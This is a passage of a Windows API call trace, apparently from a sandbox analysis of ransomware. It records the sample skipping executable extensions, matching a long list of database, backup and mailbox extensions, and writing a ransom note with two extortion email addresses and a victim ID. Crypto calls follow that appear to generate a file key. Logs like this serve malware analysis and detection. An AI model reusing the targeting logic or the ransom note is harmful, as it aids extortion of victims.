	[0147.173] GetLastError () returned 0x0
	[0147.173] GetLastError () returned 0x0
	[0147.173] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0147.173] GetLastError () returned 0x0
	[0147.173] GetLastError () returned 0x0
	[0147.173] ReadFile (hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0) 

Thread:
	id = 7
	os_tid = 0x9f4

	[0061.731] GetLastError () returned 0x0
	[0061.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x364) returned 0x369c28
	[0061.731] SetLastError (dwErrCode=0x0) 
	[0061.731] GetCurrentThreadId () returned 0x9f4
	[0061.731] GetCurrentThreadId () returned 0x9f4
	[0061.731] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.741] GetCurrentThreadId () returned 0x9f4
	[0061.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39c7e0
	[0061.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c748 | out: hHeap=0x300000) returned 1
	[0061.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c848 | out: hHeap=0x300000) returned 1
	[0061.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39c748
	[0061.741] lstrlenW (lpString=".scr") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".scr") returned 0x0
	[0061.741] lstrlenW (lpString=".cmd") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".cmd") returned 0x0
	[0061.741] lstrlenW (lpString=".dll") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".dll") returned 0x0
	[0061.741] lstrlenW (lpString=".bat") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".bat") returned 0x0
	[0061.741] lstrlenW (lpString=".cpl") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".cpl") returned 0x0
	[0061.741] lstrlenW (lpString=".sys") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".sys") returned 0x0
	[0061.741] lstrlenW (lpString=".msc") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".msc") returned 0x0
	[0061.741] lstrlenW (lpString=".com") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".com") returned 0x0
	[0061.741] lstrlenW (lpString=".lnk") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".lnk") returned 0x0
	[0061.741] lstrlenW (lpString=".msp") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".msp") returned 0x0
	[0061.741] lstrlenW (lpString=".pif") returned 4
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch=".pif") returned 0x0
	[0061.741] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.741] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0061.742] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\." (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c748 | out: hHeap=0x300000) returned 1
	[0061.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c7e0 | out: hHeap=0x300000) returned 1
	[0061.742] RtlWakeConditionVariable () returned 0x365f70
	[0061.742] GetCurrentThreadId () returned 0x9f4
	[0061.742] GetCurrentThreadId () returned 0x9f4
	[0061.742] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.774] GetCurrentThreadId () returned 0x9f4
	[0061.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0061.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0061.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0061.775] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\Read~ME.txt" (normalized: "c:\\$recycle.bin\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0061.778] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0061.778] WriteFile (in: hFile=0x10c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0061.780] CloseHandle (hObject=0x10c) returned 1
	[0061.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0061.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0061.780] RtlWakeConditionVariable () returned 0x365f70
	[0061.780] GetCurrentThreadId () returned 0x9f4
	[0061.780] GetCurrentThreadId () returned 0x9f4
	[0061.780] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.786] GetCurrentThreadId () returned 0x9f4
	[0061.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0061.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f68 | out: hHeap=0x300000) returned 1
	[0061.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f68
	[0061.786] lstrlenW (lpString=".scr") returned 4
	[0061.786] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".scr") returned 0x0
	[0061.786] lstrlenW (lpString=".cmd") returned 4
	[0061.786] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".cmd") returned 0x0
	[0061.786] lstrlenW (lpString=".dll") returned 4
	[0061.786] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".dll") returned 0x0
	[0061.786] lstrlenW (lpString=".bat") returned 4
	[0061.786] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".bat") returned 0x0
	[0061.786] lstrlenW (lpString=".cpl") returned 4
	[0061.787] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".cpl") returned 0x0
	[0061.787] lstrlenW (lpString=".sys") returned 4
	[0061.787] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".sys") returned 0x0
	[0061.787] lstrlenW (lpString=".msc") returned 4
	[0061.787] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".msc") returned 0x0
	[0061.787] lstrlenW (lpString=".com") returned 4
	[0061.787] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".com") returned 0x0
	[0061.787] lstrlenW (lpString=".lnk") returned 4
	[0061.787] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".lnk") returned 0x0
	[0061.787] lstrlenW (lpString=".msp") returned 4
	[0061.787] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".msp") returned 0x0
	[0061.787] lstrlenW (lpString=".pif") returned 4
	[0061.787] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch=".pif") returned 0x0
	[0061.787] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.787] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD", lpSrch="msp\r\n.pif") returned 0x0
	[0061.787] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f68 | out: hHeap=0x300000) returned 1
	[0061.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0061.788] RtlWakeConditionVariable () returned 0x365f70
	[0061.788] GetCurrentThreadId () returned 0x9f4
	[0061.788] GetCurrentThreadId () returned 0x9f4
	[0061.788] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.815] GetCurrentThreadId () returned 0x9f4
	[0061.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0061.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0061.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0061.816] lstrlenW (lpString=".scr") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".scr") returned 0x0
	[0061.816] lstrlenW (lpString=".cmd") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".cmd") returned 0x0
	[0061.816] lstrlenW (lpString=".dll") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".dll") returned 0x0
	[0061.816] lstrlenW (lpString=".bat") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".bat") returned 0x0
	[0061.816] lstrlenW (lpString=".cpl") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".cpl") returned 0x0
	[0061.816] lstrlenW (lpString=".sys") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".sys") returned 0x0
	[0061.816] lstrlenW (lpString=".msc") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".msc") returned 0x0
	[0061.816] lstrlenW (lpString=".com") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".com") returned 0x0
	[0061.816] lstrlenW (lpString=".lnk") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".lnk") returned 0x0
	[0061.816] lstrlenW (lpString=".msp") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".msp") returned 0x0
	[0061.816] lstrlenW (lpString=".pif") returned 4
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".pif") returned 0x0
	[0061.816] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.816] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch="msp\r\n.pif") returned 0x0
	[0061.816] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0061.817] lstrlenW (lpString=".sqb") returned 4
	[0061.817] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".sqb") returned 0x0
	[0061.817] lstrlenW (lpString=".ost") returned 4
	[0061.817] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".ost") returned 0x0
	[0061.817] lstrlenW (lpString=".txt") returned 4
	[0061.817] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".txt") returned 0x0
	[0061.817] lstrlenW (lpString=".mdt") returned 4
	[0061.817] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".mdt") returned 0x0
	[0061.817] lstrlenW (lpString=".BDB") returned 4
	[0061.817] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".BDB") returned 0x0
	[0061.817] lstrlenW (lpString=".eql") returned 4
	[0061.817] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".eql") returned 0x0
	[0061.817] lstrlenW (lpString=".DBF") returned 4
	[0061.817] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DBF") returned 0x0
	[0061.818] lstrlenW (lpString=".EQL") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".EQL") returned 0x0
	[0061.818] lstrlenW (lpString=".FDB") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".FDB") returned 0x0
	[0061.818] lstrlenW (lpString=".EDB") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".EDB") returned 0x0
	[0061.818] lstrlenW (lpString=".DACPAC") returned 7
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DACPAC") returned 0x0
	[0061.818] lstrlenW (lpString=".VHD") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".VHD") returned 0x0
	[0061.818] lstrlenW (lpString=".DBV") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DBV") returned 0x0
	[0061.818] lstrlenW (lpString=".dacpac") returned 7
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".dacpac") returned 0x0
	[0061.818] lstrlenW (lpString=".sdf") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".sdf") returned 0x0
	[0061.818] lstrlenW (lpString=".accdb") returned 6
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".accdb") returned 0x0
	[0061.818] lstrlenW (lpString=".DBX") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DBX") returned 0x0
	[0061.818] lstrlenW (lpString=".MDT") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".MDT") returned 0x0
	[0061.818] lstrlenW (lpString=".SQB") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".SQB") returned 0x0
	[0061.818] lstrlenW (lpString=".vhd") returned 4
	[0061.818] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".vhd") returned 0x0
	[0061.819] lstrlenW (lpString=".bac") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".bac") returned 0x0
	[0061.819] lstrlenW (lpString=".mdf") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".mdf") returned 0x0
	[0061.819] lstrlenW (lpString=".BAK") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".BAK") returned 0x0
	[0061.819] lstrlenW (lpString=".BAC") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".BAC") returned 0x0
	[0061.819] lstrlenW (lpString=".dbs") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".dbs") returned 0x0
	[0061.819] lstrlenW (lpString=".vhdx") returned 5
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".vhdx") returned 0x0
	[0061.819] lstrlenW (lpString=".NDF") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".NDF") returned 0x0
	[0061.819] lstrlenW (lpString=".dat") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".dat") returned 0x0
	[0061.819] lstrlenW (lpString=".DBS") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DBS") returned 0x0
	[0061.819] lstrlenW (lpString=".CKP") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".CKP") returned 0x0
	[0061.819] lstrlenW (lpString=".edb") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".edb") returned 0x0
	[0061.819] lstrlenW (lpString=".PST") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".PST") returned 0x0
	[0061.819] lstrlenW (lpString=".dbf") returned 4
	[0061.819] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".dbf") returned 0x0
	[0061.820] lstrlenW (lpString=".SQL") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".SQL") returned 0x0
	[0061.820] lstrlenW (lpString=".pst") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".pst") returned 0x0
	[0061.820] lstrlenW (lpString=".dbv") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".dbv") returned 0x0
	[0061.820] lstrlenW (lpString=".SDF") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".SDF") returned 0x0
	[0061.820] lstrlenW (lpString=".dtxs") returned 5
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".dtxs") returned 0x0
	[0061.820] lstrlenW (lpString=".db3") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".db3") returned 0x0
	[0061.820] lstrlenW (lpString=".OST") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".OST") returned 0x0
	[0061.820] lstrlenW (lpString=".dbx") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".dbx") returned 0x0
	[0061.820] lstrlenW (lpString=".DB3") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DB3") returned 0x0
	[0061.820] lstrlenW (lpString=".DAT") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DAT") returned 0x0
	[0061.820] lstrlenW (lpString=".VHDX") returned 5
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".VHDX") returned 0x0
	[0061.820] lstrlenW (lpString=".ndf") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".ndf") returned 0x0
	[0061.820] lstrlenW (lpString=".DB") returned 3
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DB") returned 0x0
	[0061.820] lstrlenW (lpString=".sql") returned 4
	[0061.820] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".sql") returned 0x0
	[0061.821] lstrlenW (lpString=".MYD") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".MYD") returned 0x0
	[0061.821] lstrlenW (lpString=".DBT") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DBT") returned 0x0
	[0061.821] lstrlenW (lpString=".ACCDB") returned 6
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".ACCDB") returned 0x0
	[0061.821] lstrlenW (lpString=".fdb") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".fdb") returned 0x0
	[0061.821] lstrlenW (lpString=".bak") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".bak") returned 0x0
	[0061.821] lstrlenW (lpString=".myd") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".myd") returned 0x0
	[0061.821] lstrlenW (lpString=".DTXS") returned 5
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".DTXS") returned 0x0
	[0061.821] lstrlenW (lpString=".ckp") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".ckp") returned 0x0
	[0061.821] lstrlenW (lpString=".dbt") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".dbt") returned 0x0
	[0061.821] lstrlenW (lpString=".db") returned 3
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".db") returned 0x0
	[0061.821] lstrlenW (lpString=".TXT") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".TXT") returned 0x0
	[0061.821] lstrlenW (lpString=".MDF") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".MDF") returned 0x0
	[0061.821] lstrlenW (lpString=".bdb") returned 4
	[0061.821] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".bdb") returned 0x0
	[0061.821] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0061.822] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG2", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0061.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x38b738
	[0061.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0061.822] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x363d38) returned 1
	[0061.825] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0061.825] CryptReleaseContext (hProv=0x363d38, dwFlags=0x0) returned 1
	[0061.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0061.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0061.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b870
	[0061.825] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18181521738) returned 1
	[0061.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x92139930, dwHighDateTime=0x1d60e1e)) 
	[0061.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0061.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0061.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0061.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0061.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0061.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0061.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ca88
	[0061.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38cb30
	[0061.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ca88 | out: hHeap=0x300000) returned 1
	[0061.826] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0061.826] GetLastError () returned 0x0
	[0061.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x28) returned 0x35c120
	[0061.826] SetLastError (dwErrCode=0x0) 
	[0061.826] GetLastError () returned 0x0
	[0061.826] SetLastError (dwErrCode=0x0) 
	[0061.826] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.827] SetLastError (dwErrCode=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.827] SetLastError (dwErrCode=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.827] SetLastError (dwErrCode=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.827] SetLastError (dwErrCode=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.827] SetLastError (dwErrCode=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.827] SetLastError (dwErrCode=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.827] SetLastError (dwErrCode=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.827] SetLastError (dwErrCode=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.827] SetLastError (dwErrCode=0x0) 
	[0061.827] GetLastError () returned 0x0
	[0061.828] SetLastError (dwErrCode=0x0) 
	[0061.828] GetLastError () returned 0x0
	[0061.828] SetLastError (dwErrCode=0x0) 
	[0061.828] GetLastError () returned 0x0
	[0061.828] SetLastError (dwErrCode=0x0) 
	[0061.828] GetLastError () returned 0x0
	[0061.828] SetLastError (dwErrCode=0x0) 
